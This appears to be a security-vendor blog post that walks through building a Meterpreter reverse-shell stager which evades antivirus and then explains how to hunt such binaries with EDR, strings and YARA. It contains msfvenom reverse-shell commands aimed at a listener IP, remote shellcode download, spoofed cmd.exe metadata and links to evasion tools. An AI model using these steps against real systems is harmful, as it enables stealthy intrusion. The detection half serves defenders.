Antivirus solutions are commonly used to detect malicious files and often rely on static analysis to separate the good from the bad. This approach works if the file itself contains something malicious but what happens if an attacker uses a light-weight stager to instead download and load code into memory on-the-fly? It turns out this is a great way to bypass antivirus.
While this approach isn’t new and bypassing antivirus is common for most modern malware we wanted to provide some insights into the steps taken when building such a payload and also show how threat hunters can detect such activity at scale with common EDR tools.
In this post we’ll be using VirusTotal as our benchmark and Metasploit reverse tcp shellcode as our payload. This provides a rough way to measure the effectiveness of our payloads, however do remember dynamic or behavior-based detection may catch the payload in the real-world.
Msfvenom File Creation
Starting with the basics we first used msfvenom to create a reverse shell executable payload with the below one-liner:
msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f exe –o met.exe
Uploading this file to VirusTotal it was flagged by a large number of engines, which made sense given that it’s a common payload and Metasploit is well-known by security vendors.
Given the number of engines that mark the file as malicious any defensive team that review AV alerts or VirusTotal enriched EDR process data will have this swiftly raise up their workflow. Additionally, the names of some of the engine hits, such as ‘Trojan:win32/Meterpreter.O’ give a very good indication about the nature of the file.
Embedded Meterpreter Shellcode
Given that most antivirus vendors probably have signatures for Metasploit executable templates we decided to instead create our own executable to execute Metasploit shellcode. Once again, msfvenom was used, but in this instance only to generate shellcode and not the full executable:
msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f c
By simply copying the shellcode into a separate C++ source file, in which the instructions are loaded into memory by calling memcpy, significantly reduced the number of VirusTotal hits from 45 to 14.
This reduction showed antivirus signatures were strongly coupled to the Metasploit executable templates. There are, however, further ways to reduce the number of VirusTotal engines that mark the file malicious.
Remotely Hosted Shellcode
The third technique that was tested involved dynamically loading the shellcode. Instead of compiling an executable with the shellcode already written into the binary, it would retrieve and load the shellcode into memory at runtime.
A function called get_shellcode() was created to remotely retrieve the msfvenom shellcode used in the previous examples from another machine. The function used various methods from the winhttp library to retrieve the shellcode over HTTP. Also as the shellcode is retrieved from the remote location as ASCII an additional step was needed to cast the instructions to raw binary format ready for execution.
This yielded another reduction in the VirusTotal hits going from 14 down to 5 showing that some engines were likely using signatures based on Metasploit shellcode patterns. With the shellcode removed from the binary itself it was now able to bypass these engines.
Some AV engines consult a file’s metadata to draw conclusions on its origin and reputation. Visual Studio provides an easy way to change the metadata allowing us to modify the binary attributes to match those of a reputable software provider. The only step required was to add a ‘Version’ resource to the project and copy the entries from a legitimate executable.
The metadata for cmd.exe was copied into the editable fields and the binary resubmitted to VirusTotal. This step reduced the number of VirusTotal detections to just 3. This implied that certain engines will apply a legitimacy weighting to a file that looks to originate from a reputable publisher based on the metadata.
Alternative HTTP Functions (the final piece of the puzzle)
Despite removing Metasploit templates and shellcode and adding metadata the payload was still being caught. What was missing in order to get to zero detections?
A re-think was required, which first involved identifying which specific part of the code was causing the alerts. Intuitively, the suspicion was that the functions VirtualAlloc (with a READWRITE_EXECUTE argument) and memcpy caused the 3 engines to deem the file suspicious as these are commonly used for memory injection. However, this proved to be incorrect. In fact, the functions invoked for the HTTP request to grab the remotely hosted shellcode resulted in the suspicious results. The functions used were:
Luckily Windows provides many different libraries that can be used to download data for example WinInet, WinHTTP and Windows Sockets. By switching to a more manual socket based implementation the download code was no longer flagged as suspicious by any antivirus engines.
This was then combined with the shellcode loading process previously demonstrated.
The final payload successfully sent a reverse shell to the listening host and more importantly had a detection rate of zero on VirusTotal!
The steps taken in this post show how a few simple modifications can help a payload bypass security controls. There are however many other options that can be used including:
- Inserting a payload within a known good binary (https://github.com/secretsquirrel/the-backdoor-factory)
- Payload encoding/encryption with Veil (https://github.com/Veil-Framework/Veil)
- Using other languages – Powershell, Python, Ruby, C#, Java, Go…
- Code-signing payloads
And obviously as an attacker you probably want to avoid submitting files to VirusTotal.
Having shown how to create a binary to dynamically load code and bypass VirusTotal, we’ll now discuss some of the different ways to hunt for such executables in your environment.
EDR agents will often give comprehensive visibility into process, network, file, registry and module load events. There are a number of ways these datasets can be used to detect the activity generated by the anomalous binaries shown in this post.
When binaries execute EDR will often track the process name, its parent as well metadata for those processes. Often VirusTotal integration is used as well to help detect previously seen malicious binaries. However there are a few different hunting use cases that can be applied to spot anomalous binaries potentially missed by VirusTotal including:
- Prevalence – If a binary has never been seen on VirusTotal or within your environment before it can be classed as anomalous and potentially malicious in nature.
- Metadata forgery – There are a number of different hunts that can be used to detect metadata spoofing, one of the most obvious is to sweep for binaries that use Microsoft metadata but are not Microsoft binaries.
Module load information can help us detect binaries which have potentially suspicious imports such as WinHTTP or anomalous combinations of imports. The binaries constructed in this post required functions to perform network communications as well as memory injection.
For example the DLLs and functions are:
Searching for binaries with module load events associated with these DLLs and an absence of any other DLLs can potentially give us a way to guide our hunting for anomalous binaries like the one created in this post. Do remember though that kernel32 and winhttp are widely used, simply searching for these events in isolation will give you a ton of false positives!
Baselining of process network data can be a powerful technique to spot anomalous binaries on your network. For example you may want to consider:
- Aggregating your data on Filename/Path, Remote IP, Remote Port.
- Filtering out common processes such as browsers, updaters and core windows processes.
- Enriching data based on IP reputation, known good, known bad and uncategorized addresses/domains.
Such a process should help you find binaries creating anomalous connections such as the ones shown in this post.
The Meterpreter payload used in this post works by reflectively loading 3 DLLs into the target process’ memory . Both the process of injecting the code as well as the resulting anomalous memory regions created can be detected using modern EDR tooling.
Countercept’s EDR agent for example can highlight the anomalous regions with read, write execute permissions and containing DLL indicators such as MZ and PE headers.
Visible in the screenshot are 4 reflectively loaded regions (1 corresponds to the stager, whilst 3 correspond to the reflectively loaded DLLs). In order to confirm the implants are Meterpreter there are several different mechanisms available. The first and most primitive is to look at the module sizes of the regions which roughly align to the sizes of the 3 Meterpreter DLLs. An alternative method would be to analyze the contents of the regions themselves, either manually or using YARA.
There are a number of different ways to analyse executables at scale, one option is to use YARA signatures which can help you scan for contents within files on disk or loaded into memory as running processes.
One of the simplest steps to take during any kind of malware analysis or reversing is looking at the strings present within a binary or memory dump. The strings output for our malicious binary is shown below:Moving onto the second binary, the Windows C++ program that calls the shellcode written into the source code, we can use a similar detection method.
Without any other context these strings already give a good indication about the binary’s behavior. The presence of the IP address (172.16.28.46) and WinHTTP calls suggest the program may connect to this address. Additionally, it seems logical that the program may attempt to download the file revshell.txt, which actually contained the shellcode payload.
The first two examples in this post contained shellcode within the binary itself whereas the final binaries would dynamically download and store shellcode within memory. In both scenarios it would be possible to detect the shellcode as default msfvenom payloads (like windows/meterpreter/reverse_tcp) have common hex instructions regardless of the ip/port used. The C++ code for our file is below:
To demonstrate how we could spot this we’ll open our binary with Radare. Searching for the first few hex instructions we are able to find the shellcode.
After confirming the location we can grab 341 bytes (the size of the payload) to get the full payload. To perform this at scale we could convert this simple hex search into a Yara signature.
Data enrichment from sources such as VirusTotal can help security teams efficiently spot known malicious files. However, as this blog post demonstrates, relying on VirusTotal alone is not enough to catch suspicious files as even in 2019 it is relatively easy to write simple executables that can evade being detected by all majority AV engines.
Advanced attack detection requires ‘detection-in-depth’ and combining of data sources to increase the chances of detecting suspicious activity. Modern EDR provides a great starting point.